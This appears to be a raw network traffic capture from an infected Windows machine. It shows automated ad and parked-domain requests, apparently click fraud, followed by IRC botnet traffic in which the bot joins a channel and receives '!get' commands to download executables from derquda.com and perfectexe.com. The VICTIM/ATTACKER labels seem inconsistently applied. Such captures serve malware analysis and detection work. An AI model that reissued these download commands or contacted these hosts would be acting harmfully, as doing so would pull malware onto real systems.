VICTIM: GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usReferer: http:/www.google.com/#hl=en&source=hp&q=awardnresource&btnG=Google+Search&meta=&aq=f&oq=\$\$\$02&fp=453f837c80fa8500User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: awardnresource.comConnection: Keep-Alive ATTACKER: GET /sd?s=84893&f=1 HTTP/1.0Accept: */*Referer: http:/awardnresource.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-AliveCookie: CMSC=TQ73Vw** ATTACKER: GET /sd?s=84893&f=1&C=1 HTTP/1.0Accept: */*Referer: http:/awardnresource.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-AliveCookie: CMSC=TQ73Vw**; CMID=wek1tkPS1IcAABolgvYAAAAt; CMPS=054; CMPP=002 ATTACKER: GET /?domain=awardnresource.com HTTP/1.0Accept: */*Referer: http:/awardnresource.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-Alive ATTACKER: GET /style/style1_58.css HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /favicon.ico HTTP/1.0Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: awardnresource.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/tl.gif HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /images/parked_layouts/tr.gif HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /favicon.ico HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: awardnresource.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/br.gif HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /images/parked_layouts/bl.gif HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /images/emergency_room/emergency_room_385x261.jpg HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET /images/parked_layouts/s.gif HTTP/1.0Accept: */*Referer: http:/www.searchnut.com/?domain=awardnresource.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.searchnut.comConnection: Keep-AliveCookie: h=7e9e891c9bf1f7a6622ffb0763b9be23; R=c%253EZYeidnSvdnW%257Bc4WzZ3VvZ3%253Au%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Evt%253CVT%253C69%253C2%253C2%253C28533745%253Ctuzmf2%256069%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25603%2560e3s%2560efsq%253Cql3buqbslmphjd%253Cql3buqbslmphjd%253C%253C35442%253Cdmfbo%253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cenynm%252Fjoufsdptnpt%252Fpwfsuvsf%252Fdpn%2527jqvb%2560je%253E8f%253Af9%253A2d%253Acg2g8b7733ggc1874c%253Acf34%2527enybsht%253E17pFOzb5%255BH2ZT7wPMKxqMjGekH%253A2JDschPTuNRF7%255BwxOlPpVVE%253AKNM3kSxO7Dj%255BEME1cDNUcziWPoLUbzwwKQk%257BsLSo27zqCHGwkEFI3VmPF2NRuSZZEcV.wN4Uz%253A1OgI4GIsVbzd6I2.gsQ4h%2560tOf5u.DFkUCyqyTr7VFwe9s.dyiDH%253AHb%253Am13D.o3gTblc%255BqLXphkVpcTDzVe6Xncp4Fjx%252F%252F-ZU1%257BP3t%253AOR%252F%252F ATTACKER: GET / HTTP/1.1Accept: */*Accept-Language: en-usReferer: http:/www.google.ca/#hl=en&source=hp&q=parkwayexit&btnG=Google+Search&meta=&aq=f&oq=\$\$\$02&fp=453f837c80fa8500Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: parkwayexit.comConnection: Keep-Alive ATTACKER: GET /sd?s=84893&f=1 HTTP/1.1Accept: */*Referer: http:/parkwayexit.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-Alive ATTACKER: GET /sd?s=84893&f=1&C=1 HTTP/1.1Accept: */*Referer: http:/parkwayexit.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-AliveCookie: CMID=xxpmDkPS1IcAABqgDNgAAAAV; CMPS=054; CMPP=002 ATTACKER: GET /index.php?domain=parkwayexit.com HTTP/1.1Accept: */*Referer: http:/parkwayexit.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: landing.trafficz.comConnection: Keep-Alive ATTACKER: GET /css.php?id=78 HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: landing.trafficz.comConnection: Keep-AliveCookie: Apache=192.168.1.140.1292827152182642; landing.trafficz.com=cdsdu3edb8us70ie02clcva2u6; parkwayexit.com[L]=1292827152; parkwayexit.com[U]=1; parkwayexit.com[V]=0.3; parkwayexit.com[R]=0; parkwayexit.com[D]=0; parkwayexit.com[OR]=http%3A%2F%2Fparkwayexit.com%2F ATTACKER: GET /cookie.php?Query=2UQJuMDTAXNEMJkzEizEruYsZ5o1YManIZgUQqPayfFA3dTGWl8Bmzf12N2IPIj%2B2p3TRA6dI0H50sqQJeMSLBLJRXCJ4gBcHEqelLSBgOvBuccwC6qHbBTx555wRM705Uz1Olmfpw9Ufmef3TFoDiKGTZgYnN%2FxumLspyBGPYtZm%2FFfrMm1U%2BcvmQrBEVTZGl6uttRFuXEXjdZpuD3qx42Zy8pg2BzJxwkuxNdW0J4m%2BMJ2Jdjo7Ea%2ByXRDCqLEhNvKU2ch%2FDNb%2FxDhlu07OHCbDjoiEkV1bitX2gQ2zXU7PDsGdpgW7ohNFBAOHtaq4xYtCQlUjtFkZTkGh6RIKv2NJ2XrAB%2BqRYNC0lZqJFFimJvQndU%2FGUaOxBqzT0fFDKeEj8Fy7Q%2B90yrFlxiB1jQsjPtnaHPSWE1hUpZXhSCvOl8I8M3OdToKG1FlXH%2FXQkEKGDlcfeEu5RzazbvMDT6dsyl5SUIeW5xi9Tj0QXbRjo4GvIfrojkzayDbgmH3xJUAPxVQ0rCPMmZerLqXSZ%2Bh6vFFpccubqvRMPGWNSFb2ZpGKCXwb%2FsF1tB5sVMcGo76LTxOg7Snj51K2iGMsin36mzsbRuiPi0jWEtxOcW%2BbFqbyOGD6egLfq83n0pE674jrFDgL%2FjbWWn0SpkiDphF HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: landing.trafficz.comConnection: Keep-AliveCookie: Apache=192.168.1.140.1292827152182642; landing.trafficz.com=cdsdu3edb8us70ie02clcva2u6; parkwayexit.com[L]=1292827152; parkwayexit.com[U]=1; parkwayexit.com[V]=0.3; parkwayexit.com[R]=0; parkwayexit.com[D]=0; parkwayexit.com[OR]=http%3A%2F%2Fparkwayexit.com%2F ATTACKER: GET /image.php?FilePath=h120w728/1181776102_7660529.jpg&width=728 HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /relative/relativity/4_1197407719_icon_right.gif HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /relative/relativity/4_1197407708_background.gif HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /cache/h120w728/728_1181776102_7660529.jpg HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /favicon.ico HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: parkwayexit.comConnection: Keep-Alive ATTACKER: GET /f?c=5&k=parkway%2Croad+map%2Cfree+road+map%2Croad+map+direction%2Cmap+road+atlas HTTP/1.1Accept: */*Referer: http:/landing.trafficz.com/index.php?domain=parkwayexit.comAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: domdex.comConnection: Keep-Alive ATTACKER: GET /list.php?c=756D994E65D3CA66EF08725A420739E8D14886BD1D2EA73AC98B184D399E1B32546A021F1A6DDAB4314857CD97D22F0D15EF48BF2F566832A0CF&v=2&t=8.855838E-02 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe4.perfectexe.com:666Connection: Keep-AliveCache-Control: no-cache VICTIM: NICK twyugmvcUSER k020500 . . :_ VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG twyugmvc :!get http:/ii.derquda.com/rc.exe:u. PRIVMSG twyugmvc :!get http:/k.perfectexe.com:888/kp.jpg:u. PRIVMSG twyugmvc :!get http:/www.derquda.com/mb11.txt